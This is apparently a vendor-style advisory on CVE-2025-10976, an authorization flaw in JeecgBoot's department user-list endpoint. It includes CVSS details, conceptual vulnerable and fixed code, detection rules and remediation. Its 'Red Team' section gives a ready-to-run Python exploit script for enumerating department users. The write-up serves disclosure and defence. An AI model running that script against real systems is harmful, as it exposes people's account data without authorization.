CVE-2025-10976

Executive Summary

CVE-2025-10976 is a high-complexity improper authorization vulnerability in JeecgBoot up to version 3.8.2. The flaw exists in the /api/getDepartUserList endpoint, where manipulation of the departId argument can lead to unauthorized access to department user lists. The attack is remotely exploitable but requires high complexity, making it difficult to execute. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Java-based application vulnerability in the JeecgBoot framework.

CVSS Breakdown & Threat Level

• CVSS Score: 3.1 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) - Requires specific conditions or knowledge
• Privileges Required: Low (PR:L) - Attacker needs some level of access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) - Limited information disclosure
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low. The high complexity and low impact reduce immediate risk, but public disclosure increases potential for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the /api/getDepartUserList endpoint of JeecgBoot. This endpoint is designed to return a list of users belonging to a specific department, identified by the departId parameter. The flaw is an improper authorization check (CWE-285), meaning the application fails to verify that the requesting user has the right to access the department's user list.

Root Cause: The departId parameter is not properly validated against the user's permissions. An attacker can manipulate this parameter to enumerate users in departments they should not have access to. The high complexity likely stems from the need to guess or discover valid departId values and bypass any existing authentication mechanisms.

Attack Flow:

1. Attacker identifies a target JeecgBoot instance.
2. Attacker obtains a valid session token (low privileges required).
3. Attacker sends a crafted request to /api/getDepartUserList with a manipulated departId.
4. The server returns the user list for that department without proper authorization checks.
5. Attacker can iterate through departId values to enumerate users across departments.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

@GetMapping("/api/getDepartUserList")
public List<User> getDepartUserList(@RequestParam String departId) {
    // Missing authorization check
    return userService.getUsersByDepartId(departId);
}

Patched Code (Conceptual):

@GetMapping("/api/getDepartUserList")
public List<User> getDepartUserList(@RequestParam String departId, HttpServletRequest request) {
    // Authorization check
    User currentUser = getCurrentUser(request);
    if (!authorizationService.canAccessDepart(currentUser, departId)) {
        throw new AccessDeniedException("Unauthorized");
    }
    return userService.getUsersByDepartId(departId);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user session token for the JeecgBoot instance.
• Knowledge of valid departId values (can be brute-forced or guessed).

Exploit Script (Python):

import requests
import sys

def exploit(target_url, session_token, depart_id):
    headers = {
        "Authorization": f"Bearer {session_token}",
        "Content-Type": "application/json"
    }
    params = {"departId": depart_id}
    response = requests.get(f"{target_url}/api/getDepartUserList", headers=headers, params=params)
    if response.status_code == 200:
        print(f"[+] Successfully retrieved users for departId {depart_id}:")
        print(response.text)
    else:
        print(f"[-] Failed: {response.status_code}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target_url> <session_token> <depart_id>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

Usage:

python exploit.py http://target.com your_session_token 123

Blue Team

Detection:

• Monitor for unusual patterns in /api/getDepartUserList requests, especially with varying departId values from the same user.
• Alert on multiple failed authorization attempts followed by successful access to different departments.

Honeypot:

• Deploy a fake endpoint that mimics /api/getDepartUserList and logs all requests for analysis.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/getDepartUserList with manipulated departId parameters.
  • Unusual patterns of departId values (e.g., sequential numbers, UUIDs).
• Logs:
  • Access logs showing repeated requests to /api/getDepartUserList from the same IP.
  • Application logs showing authorization failures for departId manipulation.
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_10976_JeecgBoot_Authorization_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10976 in JeecgBoot"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10976"
    strings:
        $s1 = "/api/getDepartUserList" ascii wide nocase
        $s2 = "departId" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-10976 JeecgBoot Authorization Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-10976 in JeecgBoot
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10976
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem: "/api/getDepartUserList"
        cs-uri-query|contains: "departId="
    condition: selection
falsepositives:
    - Legitimate administrative use
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10976 JeecgBoot Authorization Bypass"; flow:to_server; content:"/api/getDepartUserList"; http_uri; content:"departId="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Block access to /api/getDepartUserList at the web server or application firewall level.
2. Implement authorization checks: Ensure that the departId parameter is validated against the user's permissions before returning data.
3. Rate limiting: Apply rate limiting to the endpoint to slow down brute-force attempts.

Long-term Fix:

• Apply a patch from the vendor once available. Since the vendor has not responded, consider forking the project and applying the fix manually.
• Upgrade to a newer version of JeecgBoot if a patch is released.

Workaround:

• Use a Web Application Firewall (WAF) to block requests with suspicious departId patterns.

Valters IT